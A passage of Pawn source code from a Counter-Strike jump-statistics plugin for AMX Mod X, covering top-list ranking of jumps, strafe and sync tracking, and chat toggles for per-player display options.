							if(tmp_distance[jjj]<tmp_distance[jjj+1])
							{
								new buf1;
								buf1=tmp_distance[jjj];
								tmp_distance[jjj]=tmp_distance[jjj+1];
								tmp_distance[jjj+1]=buf1;
								
								new Float:buf2;
								buf2=tmp_jumpoff[jjj];
								tmp_jumpoff[jjj]=tmp_jumpoff[jjj+1];
								tmp_jumpoff[jjj+1]=buf2;
								
								new buf3[33];
								formatex(buf3,32,tmp_names[jjj]);
								formatex(tmp_names[jjj],32,tmp_names[jjj+1]);
								formatex(tmp_names[jjj+1],32,buf3);
								
								formatex(buf3,32,tmp_ip[jjj]);
								formatex(tmp_ip[jjj],32,tmp_ip[jjj+1]);
								formatex(tmp_ip[jjj+1],32,buf3);
								
								check=true;
							}
						}
					}
					start_array=ii;
				}
				oldBlock=tmp_block[ii];
			}
			
			save_tops_block(type,type_num,tmp_names,tmp_ip,tmp_distance,tmp_block,tmp_jumpoff);
			
			for (new j = 0; j < NTOP; j++)
			{	
				if(d==tmp_distance[j] && equali(tmp_ip[j],rb))
				{
					client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP2",prefix,g_playername[id],(j+1),type,bb);				
				}
			}
			if((i+1)<11 && uq_screen==1)
			{
				set_task(0.1,"ScreenShoot", id+15237);
			}
			break;
		}
		else if( equali(tmp_ip[i], rb)) break;	
	}
}
public checktops_block_weapon(id,pev_max_speed,wpn_rank,type[],type_num,Float:dd,Float:jj,bb,wpn_name[]) 
{	
	new d,rb[64];
	
	d=floatround(dd*1000000);// todo: zdelat poproshe)
	
	switch(rankby) {
		case 0: {
			formatex(rb, 63, "%s", g_playername[id]);
		}
		case 1: {
			formatex(rb, 63, "%s", g_playerip[id]);
		}
		case 2: {
			formatex(rb, 63, "%s", g_playersteam[id]);
		}
	}
	
	new tmp_weap_name[NTOP+1][33],tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1];
		
	for (new i = 0; i < NTOP; i++)
	{
		new Trie:JS;
		new tmp_type[33];
	
		format(tmp_type, 32, "block_%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
		
		if(TrieKeyExists(JData_Block, tmp_type))
		{	
			TrieGetCell(JData_Block, tmp_type, JS);
			
			TrieGetString(JS,"name",tmp_names[i],32);
			TrieGetString(JS,"authid",tmp_ip[i],32);
			TrieGetCell(JS, "distance", tmp_distance[i]);
			TrieGetCell(JS, "block", tmp_block[i]);
			TrieGetCell(JS, "jumpoff", tmp_jumpoff[i]);
			TrieGetString(JS, "wpn_name", tmp_weap_name[i],32);
		}
	}
	
	new tmp_dist;
	for (new j = 0; j < NTOP; j++)
	{	
		if(bb==tmp_block[j] && equali(tmp_ip[j],rb))
		{
			tmp_dist=tmp_distance[j];
			break;
		}
		else tmp_dist=0;
	}
	
	for (new i = 0; i < NTOP; i++)
	{
		if( bb >= tmp_block[i] && d>tmp_dist)
		{
			new pos = i;	
			while( !equali(tmp_ip[pos],rb) && pos < NTOP )
			{
				pos++;
			}
			
			for (new j = pos; j > i; j--)
			{
				formatex(tmp_ip[j], 32, tmp_ip[j-1]);
				formatex(tmp_names[j], 32, tmp_names[j-1]);
				formatex(tmp_weap_name[j], 32, tmp_weap_name[j-1]);
				tmp_distance[j] = tmp_distance[j-1];
				tmp_block[j] = tmp_block[j-1];
				tmp_jumpoff[j] = tmp_jumpoff[j-1];
			}
			
			formatex(tmp_ip[i], 32, rb);
			formatex(tmp_names[i], 32, g_playername[id]);
			formatex(tmp_weap_name[i], 32, wpn_name);
			tmp_distance[i]=d;
			tmp_block[i] = bb;
			tmp_jumpoff[i] = jj;
			
			
			new oldBlock,start_array;
			oldBlock=tmp_block[0];
			start_array=0;
			
			for (new ii = 0; ii < NTOP; ii++)
			{
				if(tmp_block[ii]!=oldBlock)
				{
					new bool:check=true;
					while(check)
					{
						check=false;
						for(new jjj=start_array;jjj<ii-1;jjj++)
						{
							if(tmp_distance[jjj]<tmp_distance[jjj+1])
							{
								new buf1;
								buf1=tmp_distance[jjj];
								tmp_distance[jjj]=tmp_distance[jjj+1];
								tmp_distance[jjj+1]=buf1;
								
								new Float:buf2;
								buf2=tmp_jumpoff[jjj];
								tmp_jumpoff[jjj]=tmp_jumpoff[jjj+1];
								tmp_jumpoff[jjj+1]=buf2;
								
								new buf3[33];
								formatex(buf3,32,tmp_names[jjj]);
								formatex(tmp_names[jjj],32,tmp_names[jjj+1]);
								formatex(tmp_names[jjj+1],32,buf3);
								
								formatex(buf3,32,tmp_ip[jjj]);
								formatex(tmp_ip[jjj],32,tmp_ip[jjj+1]);
								formatex(tmp_ip[jjj+1],32,buf3);
								
								formatex(buf3,32,tmp_weap_name[jjj]);
								formatex(tmp_weap_name[jjj],32,tmp_weap_name[jjj+1]);
								formatex(tmp_weap_name[jjj+1],32,buf3);
								
								check=true;
							}
						}
					}
					start_array=ii;
				}
				oldBlock=tmp_block[ii];
			}
			
			save_tops_block_weapon(type,type_num,wpn_rank,tmp_names,tmp_ip,tmp_distance,tmp_block,tmp_jumpoff,tmp_weap_name);
			
			for (new j = 0; j < NTOP; j++)
			{	
				if(d==tmp_distance[j] && equali(tmp_ip[j],rb))
				{
					client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP3",prefix,g_playername[id],(j+1),type,pev_max_speed,bb);				
				}
			}
			if((i+1)<11 && uq_screen==1)
			{
				set_task(0.1,"ScreenShoot", id+15237);
			}
			break;
		}
		else if( equali(tmp_ip[i], rb)) break;	
	}
}
public checktops_weapon(id,pev_max_speed,wpn_rank,type[],type_num,Float:dd,Float:mm,Float:pp,sf,s,wpn_name[]) 
{	
	new d,m,p,rb[64];
	
	d=floatround(dd*1000000);
	m=floatround(mm*1000000);
	p=floatround(pp*1000000);
	
	switch(rankby) {
		case 0: {
			formatex(rb, 63, "%s", g_playername[id]);
		}
		case 1: {
			formatex(rb, 63, "%s", g_playerip[id]);
		}
		case 2: {
			formatex(rb, 63, "%s", g_playersteam[id]);
		}
	}

	new tmp_weap_name[NTOP+1][33],tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_wpnrank[NTOP+1];
		
	for (new i = 0; i < NTOP; i++)
	{
		new Trie:JS;
		new tmp_type[33];
	
		format(tmp_type, 32, "%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
		
		if(TrieKeyExists(JData, tmp_type))
		{	
			TrieGetCell(JData, tmp_type, JS);
			
			TrieGetString(JS,"name",tmp_names[i],32);
			TrieGetString(JS,"authid",tmp_ip[i],32);
			TrieGetCell(JS, "distance", tmp_distance[i]);
			TrieGetCell(JS, "maxspeed", tmp_maxspeed[i]);
			TrieGetCell(JS, "prestrafe", tmp_prestrafe[i]);
			TrieGetCell(JS, "strafes", tmp_strafes[i]);
			TrieGetCell(JS, "sync", tmp_sync[i]);
			TrieGetCell(JS, "pspeed", tmp_wpnrank[i]);
			TrieGetString(JS, "wpn_name", tmp_weap_name[i],32);
		}
	}
	
	for (new i = 0; i < NTOP; i++)
	{
		if( d > tmp_distance[i] )
		{
			new pos = i;

			while( !equali(tmp_ip[pos],rb) && pos < NTOP )
			{
				pos++;
			}
			
			for (new j = pos; j > i; j--)
			{
				formatex(tmp_ip[j], 32, tmp_ip[j-1]);
				formatex(tmp_names[j], 32, tmp_names[j-1]);
				formatex(tmp_weap_name[j], 32, tmp_weap_name[j-1]);
				tmp_distance[j] = tmp_distance[j-1];
				tmp_maxspeed[j] = tmp_maxspeed[j-1];
				tmp_prestrafe[j] = tmp_prestrafe[j-1];
				tmp_strafes[j] = tmp_strafes[j-1];
				tmp_sync[j] = tmp_sync[j-1];
			}
			
			formatex(tmp_ip[i], 32, rb);
			formatex(tmp_names[i], 32, g_playername[id]);
			formatex(tmp_weap_name[i], 32, wpn_name);
			tmp_distance[i]=d;
			tmp_maxspeed[i] = m;
			tmp_prestrafe[i] = p;
			tmp_strafes[i] = sf;
			tmp_sync[i] = s;
			
			save_tops_weapon(type,type_num,wpn_rank,tmp_names,tmp_ip,tmp_distance,tmp_maxspeed,tmp_prestrafe,tmp_strafes,tmp_sync,tmp_weap_name);

			client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP4",prefix,g_playername[id],(i+1),type,pev_max_speed,dd);				
			
			break;
		}
		else if( equali(tmp_ip[i], rb)) break;	
	}
}
public checkmap(id,Float:dd,Float:mm,Float:pp,sf,s,typ[]) 
{	new d,m,p,rb[64];
	
	d=floatround(dd*1000000);// todo: zdelat poproshe)
	m=floatround(mm*1000000);
	p=floatround(pp*1000000);
	
	switch(rankby) {
		case 0: {
			formatex(rb, 63, "%s", g_playername[id]);
		}
		case 1: {
			formatex(rb, 63, "%s", g_playerip[id]);
		}
		case 2: {
			formatex(rb, 63, "%s", g_playersteam[id]);
		}
	}

	for (new i = 0; i < NTOP; i++)
	{
		if( d > map_dist[i] )
		{
			new pos = i;	
			while( !equali(map_ip[pos],rb) && pos < NTOP )
			{
				pos++;
			}
			
			for (new j = pos; j > i; j--)
			{
				formatex(map_ip[j], 32, map_ip[j-1]);
				formatex(map_names[j], 32, map_names[j-1]);
				map_dist[j] = map_dist[j-1];
				map_maxsped[j] =map_maxsped[j-1];
				map_prestr[j] = map_prestr[j-1];
				map_streif[j] = map_streif[j-1];
				map_syncc[j] = map_syncc[j-1];
				formatex(map_type[j], 32, map_type[j-1]);
			}
			
			formatex(map_ip[i], 32, rb);
			formatex(map_names[i], 32, g_playername[id]);
			map_dist[i]=d;
			map_maxsped[i] = m;
			map_prestr[i] = p;
			map_streif[i] = sf;
			map_syncc[i] = s;
			formatex(map_type[i], 32, typ);
			
			save_maptop();
			
			new iPlayers[32],iNum; 
			get_players( iPlayers, iNum,"ch") ;
			for(new p=0;p<iNum;p++) 
			{ 
				new ids=iPlayers[p]; 
				if(gHasColorChat[ids] ==true)
				{	
					client_print(ids,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP5",prefix,g_playername[id],(i+1),dd,typ);	
				}
			}
			break;
		}
		else if( equali(map_ip[i], rb)) break;	
	}
}
public fwdPostThink( id ) 
{
	if( g_alive[id] && g_userConnected[id] && g_pBot[id]==false)
	{
		if( g_Jumped[id] ) 
		{
			
			FullJumpFrames[id]++;
			
			static buttonsNew;
			
			static buttons;
			static Float:angle[3];
	
			buttonsNew = pev(id, pev_button);
			buttons = pev(id, pev_button);
			pev(id, pev_angles, angle);
			
			new Float:velocity[3];
			pev(id, pev_velocity, velocity);
			velocity[2] = 0.0;
			
			new Float:fSpeed = vector_length(velocity);
			
			
			if( old_angle1[id] > angle[1] ) {
				turning_left[id] = false;
				turning_right[id] = true;
			}
			else if( old_angle1[id] < angle[1] ) {
				turning_left[id] = true;
				turning_right[id] = false;
			} else {
				turning_left[id] = false;
				turning_right[id] = false;
			}
			//schetchik streifof
			if( !(strafecounter_oldbuttons[id]&IN_MOVELEFT) && buttonsNew&IN_MOVELEFT
			&& !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_BACK) && !(buttonsNew&IN_FORWARD)
			&& (turning_left[id] || turning_right[id]) )
			{
				preessbutton[id]=true;
				button_what[id]=1;
				
				if(strafe_num[id] < NSTRAFES)
					strafe_stat_time[id][strafe_num[id]] = get_gametime();
				strafe_num[id] += INFO_ONE;
				
				if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=1;
			}
			else if( !(strafecounter_oldbuttons[id]&IN_MOVERIGHT) && buttonsNew&IN_MOVERIGHT
			&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_BACK) && !(buttonsNew&IN_FORWARD)
			&& (turning_left[id] || turning_right[id]) )
			{
				preessbutton[id]=true;
				button_what[id]=2;
				
				if(strafe_num[id] < NSTRAFES)
					strafe_stat_time[id][strafe_num[id]] = get_gametime();
				strafe_num[id] += INFO_ONE;
				
				if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=1;
			}
			else if( !(strafecounter_oldbuttons[id]&IN_BACK) && buttonsNew&IN_BACK
			&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_FORWARD)
			&& (turning_left[id] || turning_right[id]) )
			{
				preessbutton[id]=true;
				button_what[id]=1;
				
				if(strafe_num[id] < NSTRAFES)
					strafe_stat_time[id][strafe_num[id]] = get_gametime();
				strafe_num[id] += INFO_ONE;
				
				if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=2;
			}
			else if( !(strafecounter_oldbuttons[id]&IN_FORWARD) && buttonsNew&IN_FORWARD
			&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_BACK)
			&& (turning_left[id] || turning_right[id]) )
			{
				preessbutton[id]=true;
				button_what[id]=2;
		
				if(strafe_num[id] < NSTRAFES)
					strafe_stat_time[id][strafe_num[id]] = get_gametime();
				strafe_num[id] += INFO_ONE;
				
				if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=2;
			}
			
			if( buttonsNew&IN_MOVERIGHT
			|| buttonsNew&IN_MOVELEFT
			|| buttonsNew&IN_FORWARD
			|| buttonsNew&IN_BACK )
			{	
				//tskFps(id);
				if(strafe_num[id] < NSTRAFES)
				{
					if( fSpeed > speed[id])
					{
						strafe_stat_sync[id][strafe_num[id]][0] += INFO_ONE; 
					}
					else
					{
						strafe_stat_sync[id][strafe_num[id]][1] += INFO_ONE;
						if(uq_istrafe && strafe_num[id]<NSTRAFES && lost_frame_count[id][strafe_num[id]]<NVAR)
							line_lost[id][strafe_num[id]][lost_frame_count[id][strafe_num[id]]]=1;
					}
					
					if(uq_istrafe)
					{
						line_erase[id][strafe_num[id]]=lost_frame_count[id][strafe_num[id]];
						line_erase_strnum[id]=strafe_num[id];
					
						lost_frame_count[id][strafe_num[id]]++;
					}
				}
				
			}
			else if(uq_istrafe && strafe_num[id]<NSTRAFES)
				strafe_lost_frame[id][strafe_num[id]] += INFO_ONE;
			
			if( buttons&IN_MOVERIGHT && (buttons&IN_MOVELEFT || buttons&IN_FORWARD || buttons&IN_BACK) )
				strafecounter_oldbuttons[id] = INFO_ZERO;
			else if( buttons&IN_MOVELEFT && (buttons&IN_FORWARD || buttons&IN_BACK || buttons&IN_MOVERIGHT) )
				strafecounter_oldbuttons[id] = INFO_ZERO;
			else if( buttons&IN_FORWARD && (buttons&IN_BACK || buttons&IN_MOVERIGHT || buttons&IN_MOVELEFT) )
				strafecounter_oldbuttons[id] = INFO_ZERO;
			else if( buttons&IN_BACK && (buttons&IN_MOVERIGHT || buttons&IN_MOVELEFT || buttons&IN_FORWARD) )
				strafecounter_oldbuttons[id] = INFO_ZERO;
			else if( turning_left[id] || turning_right[id] )
				strafecounter_oldbuttons[id] = buttons;
		}
		else
		{	
			if(sync_doubleduck[id])
			{
				new Float:velocity[3];
				pev(id, pev_velocity, velocity);
				velocity[2] = 0.0;
				
				new Float:fSpeed = vector_length(velocity);
				
				if( fSpeed > speed[id])
				{
					doubleduck_stat_sync[id][0]++;
				}
				else
				{
					doubleduck_stat_sync[id][1]++;
				}
			}
		}
	}
}
public get_colorchat_by_distance(JumpType:type_jump,mSpeed,t_dist,bool:drop_a,multiscj_a,aircj)
{
	new dist_array[5];
	
	dist_array[2]=280;
		
	if(type_jump==Type_Double_CountJump || type_jump==Type_Multi_CountJump )
	{	
		dist_array[4]=dcj_god_dist;
		dist_array[3]=dcj_leet_dist;
		dist_array[2]=dcj_holy_dist;
		dist_array[1]=dcj_pro_dist;
		dist_array[0]=dcj_good_dist;
	}
	else if(type_jump==Type_LongJump || type_jump==Type_HighJump)
	{	
		dist_array[4]=lj_god_dist;
		dist_array[3]=lj_leet_dist;
		dist_array[2]=lj_holy_dist;
		dist_array[1]=lj_pro_dist;
		dist_array[0]=lj_good_dist;
	}
	else if(type_jump==Type_ladder)
	{	
		dist_array[4]=ladder_god_dist;
		dist_array[3]=ladder_leet_dist;
		dist_array[2]=ladder_holy_dist;
		dist_array[1]=ladder_pro_dist;
		dist_array[0]=ladder_good_dist;
	}
	else if(type_jump==Type_WeirdLongJump || type_jump==Type_Drop_CountJump || type_jump==Type_ladderBhop)
	{	
		dist_array[4]=wj_god_dist;
		dist_array[3]=wj_leet_dist;
		dist_array[2]=wj_holy_dist;
		dist_array[1]=wj_pro_dist;
		dist_array[0]=wj_good_dist;
	}
	else if(type_jump==Type_BhopLongJump || type_jump==Type_StandupBhopLongJump)
	{	
		dist_array[4]=bj_god_dist;
		dist_array[3]=bj_leet_dist;
		dist_array[2]=bj_holy_dist;
		dist_array[1]=bj_pro_dist;
		dist_array[0]=bj_good_dist;
	}
	else if(type_jump==Type_CountJump)
	{	
		dist_array[4]=cj_god_dist;
		dist_array[3]=cj_leet_dist;
		dist_array[2]=cj_holy_dist;
		dist_array[1]=cj_pro_dist;
		dist_array[0]=cj_good_dist;
	}
	else if(type_jump==Type_Drop_BhopLongJump)
	{	
		dist_array[4]=dbj_god_dist;
		dist_array[3]=dbj_leet_dist;
		dist_array[2]=dbj_holy_dist;
		dist_array[1]=dbj_pro_dist;
		dist_array[0]=dbj_good_dist;
	}
	else if(type_jump==Type_StandUp_CountJump && drop_a==false)
	{	
		if(multiscj_a==0)
		{
			dist_array[4]=scj_god_dist+aircj;
			dist_array[3]=scj_leet_dist+aircj;
			dist_array[2]=scj_holy_dist+aircj;
			dist_array[1]=scj_pro_dist+aircj;
			dist_array[0]=scj_good_dist+aircj;
		}
		else if(multiscj_a==1 || multiscj_a==2)
		{
			dist_array[4]=scj_god_dist+aircj+10;
			dist_array[3]=scj_leet_dist+aircj+10;
			dist_array[2]=scj_holy_dist+aircj+10;
			dist_array[1]=scj_pro_dist+aircj+10;
			dist_array[0]=scj_good_dist+aircj+10;
		}
	}
	else if(type_jump==Type_StandUp_CountJump && drop_a)
	{	
		dist_array[4]=dropscj_god_dist;
		dist_array[3]=dropscj_leet_dist;
		dist_array[2]=dropscj_holy_dist;
		dist_array[1]=dropscj_pro_dist;
		dist_array[0]=dropscj_good_dist;
	}
	else if(type_jump==Type_Bhop_In_Duck || type_jump==Type_Up_Bhop_In_Duck)
	{	
		dist_array[4]=bhopinduck_god_dist;
		dist_array[3]=bhopinduck_leet_dist;
		dist_array[2]=bhopinduck_holy_dist;
		dist_array[1]=bhopinduck_pro_dist;
		dist_array[0]=bhopinduck_good_dist;
	}
	else if(type_jump==Type_Up_Bhop)
	{	
		dist_array[4]=upbj_god_dist;
		dist_array[3]=upbj_leet_dist;
		dist_array[2]=upbj_holy_dist;
		dist_array[1]=upbj_pro_dist;
		dist_array[0]=upbj_good_dist;
	}
	else if(type_jump==Type_Up_Stand_Bhop)
	{	
		dist_array[4]=upsbj_god_dist;
		dist_array[3]=upsbj_leet_dist;
		dist_array[2]=upsbj_holy_dist;
		dist_array[1]=upsbj_pro_dist;
		dist_array[0]=upsbj_good_dist;
	}
	else if(type_jump==Type_Real_ladder_Bhop)
	{	
		dist_array[4]=real_god_dist;
		dist_array[3]=real_leet_dist;
		dist_array[2]=real_holy_dist;
		dist_array[1]=real_pro_dist;
		dist_array[0]=real_good_dist;
	}
	else if(type_jump==Type_DuckBhop)
	{	
		dist_array[4]=duckbhop_god_dist;
		dist_array[3]=duckbhop_leet_dist;
		dist_array[2]=duckbhop_holy_dist;
		dist_array[1]=duckbhop_pro_dist;
		dist_array[0]=duckbhop_good_dist;
	}
	
	if(mSpeed != 250.0 && type_jump!=Type_ladder)
	{
		dist_array[4]=dist_array[4]-t_dist;
		dist_array[3]=dist_array[3]-t_dist;
		dist_array[2]=dist_array[2]-t_dist;
		dist_array[1]=dist_array[1]-t_dist;
		dist_array[0]=dist_array[0]-t_dist;
	}
	return dist_array;
}
public fnSaveBeamPos( client ) {
	if( g_Jumped[client] ) {
		new Float:vOrigin[3];
		pev(client, pev_origin, vOrigin);
		
		if( gBeam_count[client] < 100 ) {
			gBeam_points[client][gBeam_count[client]][0] = vOrigin[0];
			gBeam_points[client][gBeam_count[client]][1] = vOrigin[1];
			gBeam_points[client][gBeam_count[client]][2] = vOrigin[2];
			
			if(preessbutton[client])
			{
				gBeam_button[client][gBeam_count[client]]=true;
				
				if(button_what[client]==1)
				{
					gBeam_button_what[client][gBeam_count[client]]=1;
				}
				else if(button_what[client]==2)
				{
					gBeam_button_what[client][gBeam_count[client]]=2;
				}
			}
			
			if(is_user_ducking( client ))
				gBeam_duck[client][gBeam_count[client]] = true;
			
			gBeam_count[client]++;
		}
	}
}
public JumpReset(id,num)
{
	g_reset[id] = true;
	//if(num!=26 && num!=1 && num!=29)
	//ColorChat(id,GREEN,"jump reset %d",num);
}

public JumpReset1(id)
{
	g_reset[id] = true;
}
public ddReset(id)
{
	id=id-2311;
	JumpReset(id,27);
	//ColorChat(id, GREEN, "reset dd");
}
public Color_Chat_Lang(id,Color:type, const msg[], {Float,Sql,Result,_}:...)
{
	new message[256];

	switch(type)
	{
		case NORMAL: // clients scr_concolor cvar color
		{
			message[0] = 0x01;
		}
		case GREEN: // Green
		{
			message[0] = 0x04;
		}
		default: // White, Red, Blue
		{
			message[0] = 0x03;
		}
	}

	vformat(message[1], 251, msg, 4);
	
	replace_colors(message,191);
	
	ColorChat(id, type, "%s",message);
}
public cmdColorChat(id)
{	
	if( !gHasColorChat[id] )
	{
		gHasColorChat[id] = true;
		
		Color_Chat_Lang(id,GREEN,"%L",LANG_SERVER,"UQSTATS_COLORCHAT_E", prefix);
	}
	else 
	{
		gHasColorChat[id] = false;
		
		Color_Chat_Lang(id,GREEN,"%L",LANG_SERVER,"UQSTATS_COLORCHAT_D", prefix);
	}
	
	return PLUGIN_CONTINUE;
}
public cmdljStats( id ) {
	
	if(g_lj_stats[id]==true) 
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_LJSTATS_D", prefix);
		g_lj_stats[id]=false;
		
		if(showpre[id]==true)
		{
			showpre[id]=false;
			oldpre[id]=1;
		}
		if(failearly[id]==true)
		{
			failearly[id]=false;
			oldfail[id]=1;
		}
		if(ljpre[id]==true)
		{
			ljpre[id]=false;
			oldljpre[id]=1;
		}
	}
	else 
	{
		if(oldpre[id]==1)
		{
			showpre[id]=true;
			oldpre[id]=0;
		}
		if(oldfail[id]==1)
		{
			failearly[id]=true;
			oldfail[id]=0;
		}
		if(oldljpre[id]==1)
		{
			ljpre[id]=true;
			oldljpre[id]=0;
		}
		g_lj_stats[id]=true;
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_LJSTATS_E", prefix);
	}
	
}


public cmdVersion( id )
{		
	Color_Chat_Lang(id,GREY,"%L",LANG_SERVER,"UQSTATS_VERSION_1", prefix,VERSION);
	
	if(kz_sql==1)
	{
		Color_Chat_Lang(id,GREY,"%L",LANG_SERVER,"UQSTATS_VERSION_SQL1", prefix);
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_VERSION_SQL2", prefix);
	}
	else Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_VERSION_2", prefix);
}
public pre_stats(id)
{	
	if(kz_stats_pre[id]==true) 
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_PRESTATS_D", prefix);
		kz_stats_pre[id]=false;
	}
	else 
	{
		kz_stats_pre[id]=true;
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_PRESTATS_E", prefix);
	}
}
public streif_stats(id)
{	
	if(streifstat[id]==true) 
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_STRAFESTATS_D", prefix);
		streifstat[id]=false;
	}
	else 
	{
		streifstat[id]=true;
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_STRAFESTATS_E", prefix);
	}
}
public cmdljbeam(id)
{
	if(ingame_strafe[id])
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_BEAMDONTWORK", prefix);
	}
	else
	{
		if(kz_beam[id]==true) 
		{
			Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_BEAMSTATS_D", prefix);
			kz_beam[id]=false;
		}
		else 
		{
			kz_beam[id]=true;
			Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_BEAMSTATS_E", prefix);
		}
	}
}
public show_pre(id)
{
	if(showpre[id]==true) 
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SHOWPRE_D", prefix);
		showpre[id]=false;
	}
	else 
	{
		showpre[id]=true;
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SHOWPRE_E", prefix);
	}
}
public show_speed(id)
{
	new tmpTeam[33],g_team;	
	get_user_team(id,tmpTeam,32);
	
	if(uq_team==0)
	{
		g_team=0;
	}
	else if(equali(tmpTeam,"TERRORIST"))
	{
		g_team=1;
	}
	else if(equali(tmpTeam,"CT"))
	{
		g_team=2;
	}
	else
	{
		g_team=uq_team;
	}
	
	if(uq_admins==1 && !player_admin[id])
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D1", prefix);
	}
	else if(g_team!=uq_team && !uq_speed_allteam)
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D2", prefix);
	}
	else
	{
		if(jofon[id])
		{
			Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D3", prefix);
		}
		else
		{
			if(speedon[id]==false) 
			{
				Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SPEED_E", prefix);
				speedon[id]=true;
				
				set_task(0.1, "DoSpeed", id+212299, "", 0, "b", 0);
			}
			else 
			{
				speedon[id]=false;
				
				if( task_exists(id+212299, 0) )
					remove_task(id+212299, 0);
					
				Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D", prefix);
			}
		}
	}
}
public trainer_jof(id)
{
	new tmpTeam[33],g_team;	
	get_user_team(id,tmpTeam,32);
	
	if(uq_team==0)
	{
		g_team=0;
	}
	else if(equali(tmpTeam,"TERRORIST"))
	{
		g_team=1;
	}
	else if(equali(tmpTeam,"CT"))
	{
		g_team=2;
	}
	else
	{
		g_team=uq_team;
	}
	
	if(uq_admins==1 && !player_admin[id])
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D1", prefix);
	}
	else if(g_team!=uq_team)
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D2", prefix);
	}
	else
	{
		if(speedon[id])
		{
			Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D3", prefix);
		}
		else
		{
			if(jofon[id]==false) 
			{
				Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_JOFTR_E", prefix);
				jofon[id]=true;
				jof[id]=0.0;
				set_task(0.1, "Dojof", id+212398, "", 0, "b", 0);
			}
			else 
			{
				jofon[id]=false;
				
				if( task_exists(id+212398, 0) )
					remove_task(id+212398, 0);
					
				Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D", prefix);
			}
		}
	}
}
public speed_type(id)
{
	if(speedtype[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SPEED_B", prefix);
		speedtype[id]=true;
	}
	else 
	{
		speedtype[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_S", prefix);
	}
}
public show_jheight(id)
{
	if(jheight_show[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_JHEIGH_E", prefix);
		jheight_show[id]=true;
	}
	else 
	{
		jheight_show[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JHEIGH_D", prefix);
	}
}
public show_jof(id)
{
	if(showjofon[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_JOF_E", prefix);
		showjofon[id]=true;
	}
	else 
	{
		showjofon[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOF_D", prefix);
	}
}
public show_early(id)
{
	if(failearly[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_BHOPWARN_E", prefix);
		failearly[id]=true;
	}
	else 
	{
		failearly[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_BHOPWARN_D", prefix);
	}
}
public multi_bhop(id)
{
	if(multibhoppre[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_MULTIBHOP_E", prefix);
		multibhoppre[id]=true;
	}
	else 
	{
		multibhoppre[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_MULTIBHOP_D", prefix);
	}
}
public duck_show(id)
{
	if(showduck[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_DUCKSPRE_E", prefix);
		showduck[id]=true;
	}
	else 
	{
		showduck[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_DUCKSPRE_D", prefix);
	}
}
public lj_show(id)
{
	if(ljpre[id]==false) 
	{
